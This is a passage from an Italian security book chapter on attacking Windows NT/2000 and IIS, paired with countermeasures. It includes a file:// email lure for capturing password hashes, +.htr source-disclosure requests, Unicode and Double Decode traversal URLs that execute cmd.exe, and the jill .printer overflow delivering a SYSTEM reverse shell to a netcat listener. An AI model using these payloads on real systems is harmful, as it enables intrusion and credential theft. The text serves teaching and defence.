Non siate troppo sicuri che la vostra rete, opportunamente munita di dispositivi di switch, possa essere immune dal pericolo rappresentato dall'intercettazione delle password in transito. Gli hacker possono ricorrere a un'ampia gamma di tecniche di falsificazione ARP per redirezionare a se stessi tutto il vostro traffico, effettuandone in tal modo lo sniffing; oppure, più semplicemente, possono giocarvi qualche altro scherzo, come quello citato come esempio e disponibile nelle FAQ del sito di L0phtCrack:

> "Inviate un'e-mail al sistema obiettivo dell'attacco, sia che si tratti di una postazione privata o di una rete aziendale. Includete nel messaggio un URL nella forma seguente: `file://nomevostrocomputer/condivisione/messaggio.html`. Chiunque faccia clic sul collegamento, spedirà l'hash della propria password tentando l'autenticazione al vostro sistema."

Considerando l'esistenza di tecniche come il reindirizzamento ARP (si veda il Capitolo 9), le reti commutate non forniscono grande protezione contro i tentativi di intercettazione.

Queste teste calde del gruppo L0pht hanno anche preparato uno sniffer per intercettare gli hash delle password di NT, durante le sessioni di autenticazione avviate con il protocollo PPTP (*Point to Point Tunneling Protocol*). Windows NT è in grado di utilizzare una versione adattata del protocollo PPTP per realizzare le connessioni in tecnologia VPN (*Virtual Private Networking*), un metodo per rendere sicuro il traffico di connessione sulla rete Internet. Sono disponibili due versioni dello sniffer PPTP all'indirizzo `http://www.packetstormsecurity.com/sniffers/pptp-sniff.tar.gz`. Nella stessa pagina è disponibile anche la versione UNIX di `readsmb`, realizzata da Jose Chung di Basement Research.

Il tool SMB Capture può catturare unicamente connessioni riguardanti macchine Win9x/Me e NT4 o precedenti, che inviano la risposta LM. L'autenticazione tra macchine con Windows 2000 o una versione successiva non è vulnerabile a questo attacco (a meno che nello scambio non sia coinvolto un sistema Win9x/Me e/o NT4 o versione precedente che invia l'ash LM!).

Contromisura: disabilitazione dell'algoritmo di autenticazione LanManager

La soluzione per bloccare questo tipo di attacchi consiste nel disabilitare l'autenticazione LanMan. Ricordate che la risposta LM è lo strumento utilizzato dalla cattura di pacchetti SMB per ricavare le password. Se siete in grado di impedire che la risposta LM attraversi la rete, avrete bloccato in modo assoluto questo vettore di attacco.

Con la versione 4 del Service Pack di Windows NT, Microsoft ha aggiunto la possibilità di utilizzare una chiave nel Registro di sistema che impedisce al server NT di accettare autenticazioni di tipo LanManager. Aggiungete il valore `LMCompatibilityLevel` con un Value Type `REG_DWORD=4` alla chiave seguente:

```
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA
```

Value Type 4 impedirà a un controllore di dominio (*domain controller*) di accettare le richieste di autenticazione di tipo LanManager. L'articolo Q147706 di Microsoft Knowledge Base illustra l'utilizzo dei Livelli 4 e 5 per i controllori di dominio.
Nei sistemi con Windows 2000 e versioni successive, questa impostazione del Registro può essere configurata più facilmente utilizzando il tool *Criteri di protezione locali*. Cercate l'impostazione "Protezione di rete: livello di autenticazione di LAN Manager" in *Criteri locali/Opzioni di protezione* (questa impostazione è elencata sotto "Network Security:" in Windows XP e versioni successive). Questa impostazione vi consente di configurare Windows 2000 e versioni successive affinché l'autenticazione SMB sia effettuata in uno dei sei modi riportati in ordine crescente di sicurezza nell'articolo Q239869 del Knowledge Database. Vi consigliamo di non scegliere un *livello di sicurezza inferiore al 2, "Send NTLM Response Only"*.
Sfortunatamente tutti i client di livello inferiore che cercano di autenticarsi al controllore di dominio falliranno nel tentativo, poiché da questo momento in avanti vengono accettati solamente gli hash di tipo Windows NT (quando parliamo di "livello inferiore" ci riferiamo alle postazioni Windows 9*x*, Windows per Workgroup e client precedenti). Una conseguenza ancora più grave risiede nel fatto che qualunque client non Windows NT, non essendo in grado di implementare l'hash NT, cercherà di inviare inutilmente gli hash LanManager trasmettendoli comunque attraverso la rete e dando la possibilità a eventuali programmi in ascolto di intercettare i tentativi di connessione SMB. Pertanto questo fix ha un'utilità pratica limitata per la maggior parte delle aziende in cui si eseguono svariati tipi di client Windows.

Occorre sottolineare che prima dell'uscita del Service Pack 4, Windows NT accettava in ogni caso l'autenticazione, utilizzando l'hash di tipo LanManager, per cui qualunque sistema NT poteva essere attaccato in questo modo.

Con il rilascio di Windows 2000, Microsoft ha messo a disposizione un altro metodo per sostenere la trasmissione delle credenziali di autenticazione di Windows 9*x* sul cavo. È chiamato DSClient (*Directory Services Client*) ed è disponibile sul CD-ROM di Windows 2000 seguendo il percorso *Clients\Win9x\Dsclient.exe*. Gli utenti Win 9*x* sono in teoria in grado di impostare il Registro di sistema in modo da utilizzare solo l'hash di Windows NT più sicuro. L'articolo Q239869 di Microsoft Knowledge Base spiega come installare DSClient e configurare i client Win 9*x* per utilizzare NTLM v2.

Attacchi a IIS

Quando Microsoft iniziò a installare IIS (*Internet Information Services*) di default con Windows 2000, fece la sua comparsa un genere interamente nuovo di attacchi. A partire da una successiva versione (.NET Server 2003 viene fornita con IIS 6), Microsoft ha cominciato finalmente a disattivare l'IIS nelle sue installazioni di default. In effetti, l'installazione di default del sistema operativo non prevede nemmeno l'in-

stallazione di IIS e se sceglie te di installarlo questo avviene con una configurazione ridotta al minimo. Quest'ultima decisione probabilmente gioverà alla sicurezza dei sistemi Windows più di qualsiasi altra patch rilasciata dopo il Service Pack 3 di NT4. Questa è purtroppo la realtà attuale, come dimostreremo in questo capitolo. Basti dire che se eseguirete IIS senza leggere questo paragrafo, probabilmente passeranno solo pochi minuti prima che il vostro sistema diventi preda delle orde di vandali, hacker e worm automatizzati che al giorno d'oggi si aggirano minacciosi sul Web (e non pensate nemmeno che la vostra rete aziendale privata sia al sicuro: i worm IIS continuano a circolare all'interno di molte aziende con cui siamo in contatto!).
Abbiamo strutturato la nostra discussione sugli exploit IIS in base a tre principali vettori di attacchi:

- divulgazione di informazioni;
- attraversamento delle directory;
- buffer overflow.

Rimanderemo alla fine la nostra discussione sulle contromisure in modo da concentrare tutte le prassi di sicurezza consigliate per l'IIS in un'unica parte del capitolo.

Divulgazione di informazioni

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*4*
Fattore di rischio:	*8*

La prima categoria importante di vulnerabilità dell'IIS di cui discuteremo può a prima vista sembrare tediosa, ma credeteci se diciamo che questa divulgazione di informazioni può portare a un numero di compromissioni pari a quello del famigerato buffer overflow (di cui parleremo in questo paragrafo sull'IIS).
Essenzialmente, qualsiasi baco faccia trapelare informazioni non destinate a un tipico utente può essere definito come problema di divulgazione di informazioni. La divulgazione di informazioni riguarda una vasta gamma di problemi, dalla divulgazione del percorso alla rivelazione del codice sorgente. In questo paragrafo illustreremo un problema molto comune, la divulgazione del codice sorgente di script Web dinamici, in grado di rivelare password e altri dati confidenziali.
La vulnerabilità `+.htr` è un classico esempio di divulgazione di informazioni che minaccia l'IIS 4 e 5. Se si accoda `+.htr` a una richiesta di file attiva, IIS 4 e 5 rivelano il codice sorgente di un file di script Web dinamico, anziché eseguire tale codice. Questo è un esempio di errore di interpretazione da parte di un'estensione ISAPI, ISM.DLL. L'estensione .htr provoca la mappatura dei file su ISM.DLL, che per errore rivela il sorgente del file. Un esempio di utilizzo di `netcat` allo scopo di sfruttare questa vulnerabilità (notate il `+.htr` accodato alla richiesta) è il seguente:

```
C:\>nc -vv www.victim.com 80
GET /site1/global.asa+.htr HTTP/1.0
[CRLF]
[CRLF]
www.victim.com [10.0.0.10] 80 (http) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 25 Jan 2001 00:50:17 GMT
```

```
<!-- filename = global.asa - ->
("SQLConnectionString") = "DSN=sql;UID=sa;PWD="
("CustoConnectionString")      = "DSN=Custo;UID= user;Password=simple"
("ConnectionString")           = "DSN=Company;UID=Company_user;PWD=guessme"
("eMail_pwd")               = "sendaemon"
("LDAPServer")              = "LDAP://directory.Company.com:389"
("LDAPUserID")              = "cn=Directory Admin"
("LDAPPwd")                 = "slapdme"
```

Come potete vedere nell'esempio, il file `global.asa`, che generalmente non è inviato al client, viene inoltrato quando alla richiesta viene accodato `+.htr`. Potete anche constatare che il team degli sviluppatori di questo particolare server ha commesso il classico errore di codificare quasi ogni password segreta dell'organizzazione all'interno del file `global.asa`.

Attraversamento delle directory

Diffusione:	*10*
Semplicità:	*8*
Impatto:	*7*
Fattore di rischio:	*8*

Le vulnerabilità dagli effetti più devastanti per IIS 4 e 5 annunciate nella prima parte del 2001 sono state un paio di problemi relativi all'attraversamento delle directory (anche detti *problemi di attraversamento del file system*). Qualora siano anche stati commessi ulteriori errori di configurazione su un server vulnerabile, lo sfruttamento di questi punti deboli può portare a una completa compromissione del sistema.
I due attacchi basati sull'attraversamento del file system che prenderemo in esame sono gli attacchi Unicode e Double Decode (talvolta chiamati *di decodifica superflua*). Per prima cosa, spiegheremo come funzionano; successivamente illustreremo alcuni meccanismi che sfruttando l'accesso iniziale consentono di procedere alla conquista dell'intero sistema.
L'exploit Unicode prevede l'invio di rappresentazioni Unicode overlong a due e a tre byte per la barra rovesciata (/) e la barra (\) a IIS in modo da consentire l'uscita dalle directory virtuali del Web e l'attraversamento della parte restante del disco. Le rappresentazioni Unicode overlong più utilizzate per la barra rovesciata (/) e la barra (\) sono rispettivamente %c0%af e %c1%9c. Vi sono però altre rappresentazioni overlong. Apparentemente, IIS decodifica Unicode dopo aver verificato che il percorso disponga di un'opportuna sicurezza. Pertanto, inviando all'IIS una richiesta HTTP simile alla seguente, sul server possono essere eseguiti comandi arbitrari:

```
GET /scripts/..%c0%af../winnt/system32/cmd.exe?+/c+dir+'c:\' HTTP /1.0
```

La rappresentazione Unicode overlong %c0%af consente di utilizzare il famigerato "punto-punto-barra" per retrocedere ed entrare nella directory del sistema e per fornire un input alla shell dei comandi, la qual cosa normalmente è impossibile se si utilizzano solo caratteri ASCII.
L'attacco Double Decode è molto simile. Scoperto nel maggio 2001 dai ricercatori di NSFocus, l'attacco Double Decode utilizza caratteri esadecimali a doppia codifica in luogo delle rappresentazioni Unicode overlong delle barre (/ e \) per costruire richieste HTTP che eludono i normali controlli di sicurezza IIS e consentono di accedere a risorse situate all'esterno della root del Web. Per esempio, la barra rovesciata (\)può

essere rappresentata a un server Web mediante la notazione esadecimale %5c. Analogamente, il carattere % viene rappresentato mediante %25. Pertanto, la stringa %255c, se viene decodificata due volte in sequenza, è convertita in una singola barra rovesciata. Il concetto chiave è che occorrono due decodifiche e proprio questa è la natura del problema riguardante l'IIS: esso effettua due decodifiche sulle richieste HTTP che attraversano directory di eseguibili. Questa condizione può essere sfruttata in modo molto simile al baco di Unicode, come mostrato nell'URL seguente:

```
http://victim.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
```

Si tratta chiaramente di un comportamento indesiderabile; ma la pericolosità degli exploit Unicode e Double Decode è mitigata da una serie di fattori:

- la prima directory virtuale contenuta nella richiesta (nel nostro esempio, `/scripts`) deve avere le autorizzazioni Execute per l'utente che presenta la richiesta. Di solito questo non è un deterrente, poiché comunemente l'IIS è configurato con diverse directory che conferiscono un Execute a IUSR di default (per esempio le directory scripts, iissamples, iisadmin, iishelp, cgi-bin, msadc, _vti_bin, certsrv, certcontrol e certenroll);
- se la directory virtuale iniziale non si trova sul volume del sistema, è impossibile saltare a un altro volume, poiché attualmente non esiste una sintassi nota che consenta di effettuare tale acrobazia. Se `cmd.exe` è mantenuto nella sua posizione di default nel volume di sistema, esso non può essere eseguito da attacchi Unicode o Double Decode avviati su altri dischi non di sistema. Ovviamente, questo non significa che non esistano altri eseguibili potenti sul volume in cui il sito Web affonda le sue radici e questi attacchi basati sull'attraversamento delle directory sono in grado di fare agevolmente un giro esplorativo;
- i comandi innescati tramite Unicode o Double Decode vengono eseguiti nel contesto dell'utente remoto che effettua la richiesta HTTP. Di solito, si tratta dell'account IUSR_machinename utilizzato per simulare richieste Web anonime, che è un membro del gruppo incorporato Guests e di default dispone di privilegi molto limitati sui sistemi della famiglia NT.

Sebbene la portata della compromissione sia inizialmente limitata da questi fattori, se l'aggressore è in grado di identificare una directory su cui l'account IUSR_machinename (o IWAM_machinename) ha il permesso di scrivere, generalmente scaricherà ulteriori tool e metterà radici nel server Web. Esistono diversi script di dominio pubblico che consentono di scaricare file su un server vulnerabile ad attacchi Unicode o Double Decode; tra questi il nostro preferito è `unicodeloader.pl` di Roelof Temmingh.

Il tool più valido per effettuare l'upload su un server con NT4 o una versione precedente è `hk.exe` (si veda il paragrafo "Contraffazione delle richieste LPC Ports" più avanti in questo capitolo). Questo attacco consente agli aggressori di aggiungere l'account IUSR o IWAM a un gruppo amministrativo, ponendo le basi per la completa compromissione del sistema. La scalata ai privilegi su Windows 2000 è più difficile, ma può essere effettuata con un diverso insieme di tool. Per effettuare la scalata dei privilegi mediante Unicode su IIS 5, occorre procurarsi il tool `ispc` di Isno (`http://www.xfocus.org`), che consente di automatizzare l'attacco basato sulla "vulnerabilità dell'innalzamento dei privilegi nei listati del file system" di IIS 5, assicurando il controllo client/server remoto di una macchina con IIS vulnerabile (`http://www.microsoft.com/technet/bulletin/MS01-044.asp`).

Buffer overflow

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*10*

Sin dalla scoperta da parte dei ricercatori di eEye Digital Security, risalente al giugno 1999, di un buffer overflow nella ISM.DLL, sono stati periodicamente diramati avvisi in cui si segnalavano altri spettacolari buffer overflow IIS. Nel maggio 2001, i ricercatori annunciarono la scoperta di un altro buffer overflow contenuto nell'estensione ISAPI che gestisce i file `.printer` (*C:\WINNT\Sistemi32\msw3prt.dll*) che consente di assicurare a Windows 2000 il supporto dell'IPP (*Internet Printing Protocol*). L'IPP consente il controllo basato sul Web di vari aspetti delle stampanti di rete.
eEye ha rilasciato un prototipo di attacco che consente di scrivere un file su *C:\www.eEye.com.txt*, ma, scrivendo un opportuno codice di shell, è possibile compiere quasi qualsiasi azione, poiché il codice viene eseguito nel contesto del processo IIS, il che equivale a dire SYSTEM. È abbastanza certo che, sull'onda del comunicato sul buffer overflow IPP, un attacco chiamato jill sia stato inviato da dark spyrit (anima nera) di beavuh.org a molte popolari mailing list dedicate alla sicurezza. Sebbene jill sia stato scritto in UNIX C, la sua compilazione su Windows 2000 è un gioco da ragazzi con l'ambiente Cygwin (`http://www.cygwin.com`).
Ecco come funziona questo attacco. Per prima cosa, mettetevi in ascolto sul sistema dell'aggressore utilizzando `netcat`:

```
C:\>nc -vv -l -p 2002
listening on [any] 2002 ...
```

Sferrate quindi l'attacco jill contro il dispositivo di ascolto dell'aggressore:

```
C:\>jill 192.168.234.222 80 192.168.234.250 2002
iis5 remote .printer overflow.
dark spyrit <dspyrit@beavuh.org> / beavuh labs.

connecting...
sent...
you may need to send a carriage on your listener if the shell doesn't
➥appear.
have fun!
```

Se tutto va per il verso giusto, subito dopo l'esecuzione dell'attacco, una shell remota viene caricata nel dispositivo di ascolto dell'aggressore. Può darsi che dobbiate digitare un carriage return per visualizzare la shell quando vi accorgete che la connessione è stata ricevuta e anche dopo ciascun comando successivo, come mostrato nell'esempio seguente (anche in questo caso, questo avviene sul sistema dell'aggressore):

```
C:\>nc -vv -l -p 2002
listening on [any] 2002 ...
connect to [192.168.234.250] from MANDALAY [192.168.234.222] 1117
[carriage return]
```

```
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>whoami
whoami
[carriage return]
NT AUTHORITY\SYSTEM
```

Abbiamo utilizzato l'utility `whoami` del Resource Kit per mostrare che questa shell è in esecuzione nel contesto dell'onnipotente account LocalSystem dalla macchina remota. Poiché l'attacco iniziale si verifica tramite il canale delle applicazioni Web (generalmente sulla porta 80) e poiché la shell viene sparata dal server Web del sistema violato su una porta definita dall'aggressore, questo attacco può essere difficilmente contrastato mediante il filtraggio a livello router o firewall.
Subito dopo la versione per UNIX/Linux, venne rilasciata una versione Win32 nativa di jill, chiamata jill-win32. Un hacker chiamato CyrusTheGreat rilasciò la propria versione di questo attacco, chiamata iis5hack e basata sul codice della shell di jill. Tutti questi tool funzionano esattamente nello stesso modo illustrato in precedenza, anche per quanto riguarda la necessità di prestare attenzione alla chiusura della shell iniettata.

Ricordatevi di uscire da questa shell remota in modo ortodosso (digitando `exit`*), altrimenti il sito Web di default del sistema violato si bloccherà e non sarà più in grado di evadere le richieste!*

Contromisure agli attacchi a IIS

Vi perdoniamo se a questo punto siete un po' sopraffatti da tutte queste informazioni. Potete tranquillizzarvi, poiché il problema della sicurezza dell'IIS è facilmente risolvibile: è sufficiente seguire alcune semplici regole.

Filtrazione della rete in entrata e in uscita

Ovviamente, occorre utilizzare firewall o router per limitare l'accesso del mondo esterno ai server Web, ma è anche necessario considerare il filtraggio delle comunicazioni in uscita dal server Web. In molti casi, i server Web non devono mai avviare connessioni con parti esterne. In effetti, come avete visto negli esempi precedenti, la tecnica di Web hacking utilizzata con maggiore frequenza consiste nell'avviare una connessione di tipo "telefonata a casa" con la macchina dell'hacker. Dovete applicare restrizioni all'uscita su Internet da server Web a "TCP established" solo per impedire questi tipi di trucchi (ovviamente, i server Web dovranno avviare connessioni con database back-end, ma stiamo assumendo che tali connessioni back-end siano parzialmente fidate e che pertanto non richiedano il filtro in uscita).
Con l'evoluzione continua di Internet, l'implementazione del filtro in uscita unicamente verso connessioni stabilite sta diventando sempre più difficile. Per esempio, spesso i servizi Web devono avviare comunicazioni con l'esterno tramite Internet. Se i servizi Web sono in esecuzione, consigliamo di isolare le reti con server che richiedono comunicazioni più complesse dai server Web standard, "quelli che devono solo rispondere".

Aggiornatevi sulle nuove patch

Occorre dire che non ci sono scuse per chi ha un server IIS affacciato su Internet privo delle ultime patch. Se scegliete di non ascoltare questo avvertimento, divertitevi pure a estrarre ripetutamente gli ultimissimi worm IIS dai vostri server...

Consigliamo di mantenervi aggiornati anche se avete disattivato funzionalità interessate da una determinata patch specifica. Microsoft realizza spesso modifiche notevoli con il rilascio di nuovi service pack e se vi siete lasciati sfuggire una patch intermedia potreste trovarvi spiazzati all'uscita dell'SP successivo; inoltre non saprete mai in che modo interagiscono i vari componenti del software: il solo fatto che una funzionalità sia disattivata non implica che un intruso non riesca a sfruttarla se essa è comunque presente sul vostro disco. In qualsiasi organizzazione seria che abbiamo consultato, l'unica discussione reale sull'applicazione delle patch riguardava la tempistica, non il tipo di patch.
Probabilmente vorrete prendere un po' di tempo prima di applicarle, per il semplice fatto che l'attuale serie di tool Microsoft per l'installazione delle patch è frammentario e fonte di confusione. Nel paragrafo "Installazione di patch aggiornate" nel prosieguo di questo capitolo vedrete quali sono le opzioni disponibili in quest'area.

Disattivazione dell'estensione ISAPI e dei filtri inutilizzati

Le estensioni ISAPI sono le DLL che gestiscono le richieste per alcuni tipi di file (per esempio, i file `.printer` o `.idq`). Basandoci sulla storia delle vulnerabilità dell'IIS associate a estensioni ISAPI problematiche, possiamo affermare che questa è l'operazione più importante che potete compiere per rendere maggiormente sicure le vostre installazioni dell'IIS.
Potete controllare quali estensioni sono caricate quando l'IIS viene avviato, mediante il tool IIS Admin (*%systemroot%\system32\inetsrv\iis.msc*). Fate clic con il tasto destro del mouse sul sito Web che desiderate amministrare e selezionate *Proprietà/Home Directory*; nella sezione *Impostazioni applicazione*, selezionate il pulsante *Configurazione*, e dalla finestra di dialogo che appare la scheda *Mapping*; infine eliminate la mappatura per .htr su ism.dll, come mostrato nella Figura 5.5.

Figura 5.5
Per prevenire l'attacco buffer overflow di .printer e molti altri exploit simili basati sulle estensioni ISAPI incorporate, è sufficiente rimuovere le mappatura delle applicazioni per l'opportuna estensione nel tool IIS.

Per fornire un paio di esempi pertinenti dei molti problemi che quest'unica operazione consente di evitare, tenete presente che il buffer overflow `+.htr` e quello IPP di cui abbiamo parlato in precedenza potrebbero essere completamente evitati se non fossero mappate, rispettivamente, le DLL ISM e msw3prt.
Prendete inoltre in seria considerazione la possibilità di disattivare anche i filtri ISAPI inutilizzati. I filtri ISAPI effettuano il parsing di ogni richiesta IIS anziché delle sole richieste aventi le opportune estensioni. Sebbene i filtri ISAPI abbiano creato molti meno problemi delle estensioni ISAPI, è meglio peccare per eccesso di sicurezza che doversene poi pentire. Per disattivare i filtri ISAPI in Windows 2000 e versioni successive, aprite il tool IIS Admin, fate clic con il tasto destro del mouse sul sito che desiderate amministrare, selezionate *Proprietà* e, dalla finestra di dialogo che appare, la scheda *Fitri ISAPI*, dalla quale eliminerete qualsiasi filtro superfluo, come mostrato nella Figura 5.6. Dovrete valutare quali filtri vi occorrono realmente; tuttavia vi consigliamo di disattivare almeno il filtro delle estensioni del server di FrontPage (`fpexedll.dll`) se non dovete utilizzarlo.

Figura 5.6
Eliminazione del filtro ISAPI relativo all'estensione del server di FrontPage da IIS 5 e versioni successive.

Probabilmente vi chiederete qual è la differenza tra le estensioni e i filtri ISAPI. Le estensioni gestiscono unicamente le richieste relative alla comparazione dei tipi di file (per esempio, file `.printer` *o* `.idq`*), mentre i filtri intercettano tutte le richieste IIS dirette all'interno.*

Assenza di dati riservati nel codice sorgente

In precedenza avete visto come alcuni attacchi come quello basato su `+.htr` possano rivelare informazioni che causano una seria compromissione dei sistemi. Certo, i

problemi di questo tipo dovrebbero essere fronteggiati mediante l'applicazione di una patch e utilizzando le prassi ottimali di configurazione illustrate in precedenza; potete tuttavia essere sicuri che in futuro vi saranno nuovi attacchi in grado di eludere le più recenti e fantasiose patch e configurazioni. Pertanto, l'unico modo sicuro per impedire che tali informazioni siano divulgate risiede nell'impedire che siano disponibili!
Il pericolo maggiore, da questo punto di vista, viene dalla memorizzazione delle credenziali di SQL Server negli script ASP, come avete visto nel nostro esempio dell'exploit `+.htr`. Ci sono diversi modi per evitare questo inconveniente; il principale consiste nell'utilizzo di un'autenticazione SQL integrata, affinché non sia necessario memorizzare le credenziali in uno script.
Un'altra fonte inesauribile di informazioni divulgate in modo inopportuno è quella costituita dai cosiddetti file include che supportano gli script ASP. Un semplice trucco aiuta a prevenire la divulgazione dei file include, che di solito hanno l'estensione .inc: modificarne l'estensione in .asp. In questo modo essi vengono consegnati all'estensione ISAPI Asp.DLL anziché essere resi come testo ordinario nel browser del client. Non dimenticate di aggiornare tutti i riferimenti ai nuovi nomi file negli script ASP e nei file connessi.

Installazione delle root virtuali su un volume separato

Gli attacchi punto-punto-barra sono tra i primi trucchi che qualsiasi aggressore di media intelligenza tenterà sul vostro sito Web, per cui accertatevi che tali tentativi di uscire dalle directory delle root virtuali non consentano all'intruso di mettere le mani su tool o dati di importanza critica. Ricorderete dal nostro esempio degli attacchi Unicode e Double Decode che non c'è una sintassi che consenta a tali attacchi di saltare ad altre unità a disco; pertanto, se installate le vroot su un drive separato, questi attacchi non potranno vagare nelle directory del sistema ed eseguire la shell dei comandi (`cmd.exe`). Tale misura pertanto limita notevolmente gli effetti di questa tecnica, altrimenti perniciosa. Prestate attenzione a non installare potenti tool amministrativi sul volume della vroot; in caso contrario, potreste trovarvi nella stessa situazione; inoltre, se state pensando di spostare le vroot esistenti su un'unità disco separata, ricordatevi di utilizzare un tool quale robocopy del Resource Kit, in grado di preservare le ACL NTFS: l'utilizzo del comando standard della famiglia NT copy per copiare da un volume all'altro modificherebbe le ACL a "Everyone: Full Control" di default!

Utilizzo dell'NTFS

Visto che abbiamo accennato all'NTFS, consentiteci di ricordare che l'intera sicurezza dell'IIS dipende dalle autorizzazioni NTFS. Analizzate attentamente ogni ACL contenuta nelle vostre vroot, accertandovi che sia assicurato l'accesso opportuno. Non utilizzate partizioni FAT per i server Web. I file system FAT non offrono alcuna sicurezza e lasciano il vostro server completamente vulnerabile.

Consigliamo di impostare le autorizzazioni %systemdrive% *(per esempio, C:\) su Administrators: Full Control, System: Full Control e Authenticated Users: Read and Execute, List Folder Contents e Read. Inoltre, se desiderate consultare la lista di autorizzazioni da assegnare a potenti utility contenute nella cartella di sistema, visitate l'indirizzo* `http://www.microsoft.com/technet/security/prodtech/windows/windows2000/staysecure/secopsa.asp`.

Disattivare i servizi non necessari

Come abbiamo annunciato diverse volte in questo libro, la via più semplice per realizzare un sistema maggiormente sicuro consiste nel disattivare le funzionalità, specie quando esse sono disponibili da posizioni remote sulla rete. Tra i servizi importanti da considerare quando si fortifica l'IIS sono compresi i servizi Windows standard (SMB, Avvisi, Messenger e così via), i servizi connessi all'IIS (W3SVC, FTP, SMTP e NNTP), Index Server e qualsiasi altro servizio esterno quale il supporto RAD di FrontPage Server Extensions Visual Studio (un componente opzionale di Windows 2000 che viene installato di rado, citato in questo paragrafo poiché nel 2001 è stato il bersaglio di un nefasto buffer overflow).

Altre risorse per la sicurezza di IIS

Microsoft ha per molto tempo gestito varie liste di controllo della sicurezza sull'IIS; tutte queste liste sono catalogate all'indirizzo `http://www.microsoft.com/technet/tool/tool.asp`. Tra le migliori risorse elencate c'è la Secure Internet Information Services 5 Checklist di Michael Howard. Si tratta a nostro parere di un'autorevole risorsa aggiornata sulla sicurezza dell'IIS; essa contiene molte altre contromisure degne di nota, in aggiunta a quelle più importanti riportate in questo libro.

Utilizzo di IIS Lockdown e URLScan

Vi incoraggiamo inoltre caldamente a installare il tool IIS Lockdown su tutti i server IIS. Questo tool si presenta sotto forma di wizard che guida gli amministratori passo passo durante la procedura di hardening dell'IIS su un sistema. Una delle sue funzionalità principali, chiamata URLScan, è costituita da un filtro ISAPI installabile che effettua la scansione di tutte le richieste IIS in arrivo e respinge l'attacco da parte di un malintenzionato basandosi su un file di configurazione definito dall'amministratore. Configurato correttamente, URLScan può arrestare tutti gli attacchi IIS elencati in questo libro.

Attivazione della registrazione

In qualsiasi momento del suo ciclo di lavoro, un server Web può essere compromesso. Quando questo succede, è fondamentale disporre di informazioni sull'inevitabile attacco. Accertatevi che l'IIS sia configurato in modo da registrare le richieste nel formato di logging W3C Extended e che vengano registrate le voci seguenti: indirizzo IP del client, nome utente, metodo, URI Stem, stato dell'HTTP, stato di Win32 e User Agent (eventualmente, conviene catturare anche l'indirizzo IP e la porta del server se avete diversi server IIS su un unico computer).

Non dimenticate i log degli eventi, che spesso registrano eventi che non appaiono nei log IIS, quali improvvise interruzioni del servizio (per esempio, dovute a un attacco di tipo buffer overflow). Vi consigliamo EventCombNT, un utile tool gratuito per effettuare il parsing dei log degli eventi, scaricabile all'indirizzo `http://www.microsoft.com/technet/security/prodtech/windows/windows2000/staysecure/default.asp`.

Potenziamento della sicurezza delle applicazioni Web

Ultimo ma non meno importante, occorre rilevare che tutte le contromisure citate in questo paragrafo riguardano unicamente l'IIS e incidono in modo limitato sulla logica dell'applicazione in esecuzione sul server.

Attacchi con autenticazione

Fino a qusto punto abbiamo illustrato i tool e le tecniche maggiormente utilizzate per ottenere un qualche livello di accesso a un sistema della famiglia NT. Tipicamente, questi meccanismi assicurano sul sistema obiettivo vari gradi di privilegio, da Guest a SYSTEM. Tuttavia, indipendentemente dal livello dei privilegi raggiunto, la prima conquista ottenuta nell'ambiente di un qualsiasi sistema della famiglia NT è in genere solo l'inizio di una campagna militare destinata a durare molto più a lungo. In questo paragrafo spiegheremo come sono condotte le operazioni militari successive alla caduta del primo sistema e alla prima sconfitta.

Ricerca di privilegi

Una volta che un hacker è riuscito a ottenere un account utente su un sistema della famiglia Windows NT, cercherà immediatamente di ottenere il privilegio più importante: l'account Administrator. Uno dei più fantastici hack di tutti i tempi sull'ambiente NT è quello costituito dalla cosiddetta famiglia di attacchi di tipo getadmin (`http://www.windowsitsecurity.com/Articles/Index.cfm?ArticleID=9231`). L'exploit `getadmin` è stato il primo serio attacco con scalata ai privilegi sferrato contro NT4 e sebbene tale attacco specifico sia stato tamponato con una patch (con l'uscita del Service Pack 3 di NT4), la tecnica di base con cui esso funziona, l'iniezione DLL, sopravvive e viene ancora utilizzata efficacemente contro Windows 2000 e versioni successive in altri tool di cui parleremo in questo capitolo.
Le possibilità del programma `getadmin` sono limitate dal fatto che quest'applicazione deve essere avviata localmente sul sistema preso di mira. Poiché il comportamento predefinito dei gruppi ipotizza che la maggior parte degli utenti non sia in grado di effettuare l'autenticazione locale a un server NT, questo programma potrebbe essere utile solamente a qualche "infiltrato", che sia già membro di uno dei gruppi di operatori che hanno accesso alla console (Account, Backup, Server ecc.) oppure all'utente predefinito dell'Internet Information Server, IUSR_*nome_ macchina*, che può anch'esso accedere localmente. Se alcuni malintenzionati hanno già questo livello di privilegio sul vostro server, `getadmin` non peggiorerebbe certo le cose, in quanto gli utenti di tipo *operatore* hanno già accesso a gran parte delle informazioni del sistema.
Sfortunatamente, Windows 2000 non si è rivelato più coriaceo delle versioni precedenti per quanto riguarda la resistenza agli attacchi basati sulla scalata ai privilegi. Sebbene alcuni punti vulnerabili precedenti quali `getadmin` e gli attacchi connessi siano stati tamponati con opportune patch, una volta ottenuto il privilegio di accesso interattivo, risulta molto difficile sui sistemi Microsoft impedire la scalata ai privilegi. L'accesso interattivo è inoltre diventato sempre di più diffuso, vista l'affermazione di Terminal Server di Windows 2000 come strumento per la gestione remota e la potenza di elaborazione distribuita.
Alcuni importanti attacchi di scalata ai privilegi della famiglia NT continuano a essere scoperti a un ritmo di due o tre all'anno. In questo paragrafo, abbiamo scelto alcuni dei punti deboli di più alto profilo e magiormente sfruttati.

Contraffazione delle richieste LPC Ports

Diffusione:	*1*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*7*

